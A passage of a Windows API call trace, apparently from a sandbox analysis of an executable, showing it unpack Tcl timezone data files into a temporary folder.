lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belgrade") returned 72 [0042.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Belgrade" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\belgrade"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.283] GetFileType (hFile=0x10c) returned 0x1 [0042.283] htonl (hostlong=0x931b0000) returned 0x1b93 [0042.283] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.284] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb93, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb93, lpOverlapped=0x0) returned 1 [0042.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.284] CloseHandle (hObject=0x10c) returned 1 [0042.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.284] htonl (hostlong=0x30000000) returned 0x30 [0042.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.284] GetFileType (hFile=0x10c) returned 0x1 [0042.284] htonl (hostlong=0xaddd5b00) returned 0x5bddad [0042.284] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x608dad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.284] htonl (hostlong=0x54060000) returned 0x654 [0042.285] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x654) returned 0x550600 [0042.285] htonl (hostlong=0x54060000) returned 0x654 [0042.285] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.285] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.285] htonl (hostlong=0x421e0000) returned 0x1e42 [0042.285] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e42) returned 0x561090 [0042.285] htonl (hostlong=0x54060000) returned 0x654 [0042.285] htonl (hostlong=0x421e0000) returned 0x1e42 [0042.285] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ee0 [0042.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ee0 | out: hHeap=0x530000) returned 1 [0042.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.285] CloseHandle (hObject=0x10c) returned 1 [0042.285] GetLastError () returned 0x0 [0042.285] SetLastError (dwErrCode=0x0) [0042.285] GetLastError () returned 0x0 [0042.285] SetLastError (dwErrCode=0x0) [0042.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.285] GetFileType (hFile=0x10c) returned 0x1 [0042.285] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.286] CloseHandle (hObject=0x10c) returned 1 [0042.286] GetLastError () returned 0x0 [0042.286] SetLastError (dwErrCode=0x0) [0042.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.286] GetFileType (hFile=0x10c) returned 0x1 [0042.286] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.286] CloseHandle (hObject=0x10c) returned 1 [0042.286] GetLastError () returned 0x0 [0042.286] SetLastError (dwErrCode=0x0) [0042.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.286] GetFileType (hFile=0x10c) returned 0x1 [0042.286] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.287] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.287] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.287] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.287] CloseHandle (hObject=0x10c) returned 1 [0042.287] GetLastError () returned 0x0 [0042.287] SetLastError (dwErrCode=0x0) [0042.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Berlin") returned 70 [0042.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Berlin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\berlin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.287] GetLastError () returned 0x2 [0042.287] SetLastError (dwErrCode=0x2) [0042.287] GetLastError () returned 0x2 [0042.287] SetLastError (dwErrCode=0x2) [0042.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Berlin", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Berlin", lpFilePart=0x0) returned 0x45 [0042.287] GetLastError () returned 0x2 [0042.287] SetLastError (dwErrCode=0x2) [0042.287] GetLastError () returned 0x2 [0042.287] SetLastError (dwErrCode=0x2) [0042.287] GetLastError () returned 0x2 [0042.287] SetLastError (dwErrCode=0x2) [0042.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Berlin") returned 70 [0042.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Berlin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\berlin"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.289] GetFileType (hFile=0x10c) returned 0x1 [0042.289] htonl (hostlong=0x421e0000) returned 0x1e42 [0042.289] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.290] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.290] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe42, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe42, lpOverlapped=0x0) returned 1 [0042.290] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.290] CloseHandle (hObject=0x10c) returned 1 [0042.290] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.291] htonl (hostlong=0x30000000) returned 0x30 [0042.291] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.291] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.291] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.291] GetFileType (hFile=0x10c) returned 0x1 [0042.291] htonl (hostlong=0x1e45b00) returned 0x5be401 [0042.291] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x609401, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.291] htonl (hostlong=0x8c000000) returned 0x8c [0042.291] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0042.291] htonl (hostlong=0x8c000000) returned 0x8c [0042.291] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.292] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.292] htonl (hostlong=0xb4000000) returned 0xb4 [0042.292] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb4) returned 0x550600 [0042.292] htonl (hostlong=0x8c000000) returned 0x8c [0042.292] htonl (hostlong=0xb4000000) returned 0xb4 [0042.292] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.292] CloseHandle (hObject=0x10c) returned 1 [0042.292] GetLastError () returned 0x0 [0042.293] SetLastError (dwErrCode=0x0) [0042.293] GetLastError () returned 0x0 [0042.293] SetLastError (dwErrCode=0x0) [0042.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.293] GetFileType (hFile=0x10c) returned 0x1 [0042.293] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.293] CloseHandle (hObject=0x10c) returned 1 [0042.293] GetLastError () returned 0x0 [0042.293] SetLastError (dwErrCode=0x0) [0042.293] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.293] GetFileType (hFile=0x10c) returned 0x1 [0042.293] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.293] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.293] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.293] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.294] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.294] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.294] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.294] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.294] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.294] CloseHandle (hObject=0x10c) returned 1 [0042.301] GetLastError () returned 0x0 [0042.301] SetLastError (dwErrCode=0x0) [0042.301] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.301] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.301] GetFileType (hFile=0x10c) returned 0x1 [0042.301] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.301] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.302] CloseHandle (hObject=0x10c) returned 1 [0042.302] GetLastError () returned 0x0 [0042.302] SetLastError (dwErrCode=0x0) [0042.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bratislava") returned 74 [0042.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bratislava" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\bratislava"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.302] GetLastError () returned 0x2 [0042.302] SetLastError (dwErrCode=0x2) [0042.302] GetLastError () returned 0x2 [0042.302] SetLastError (dwErrCode=0x2) [0042.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bratislava", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bratislava", lpFilePart=0x0) returned 0x49 [0042.302] GetLastError () returned 0x2 [0042.302] SetLastError (dwErrCode=0x2) [0042.302] GetLastError () returned 0x2 [0042.302] SetLastError (dwErrCode=0x2) [0042.302] GetLastError () returned 0x2 [0042.302] SetLastError (dwErrCode=0x2) [0042.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bratislava") returned 74 [0042.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Bratislava" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\bratislava"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.303] GetFileType (hFile=0x10c) returned 0x1 [0042.303] htonl (hostlong=0xb4000000) returned 0xb4 [0042.303] RtlAllocateHeap 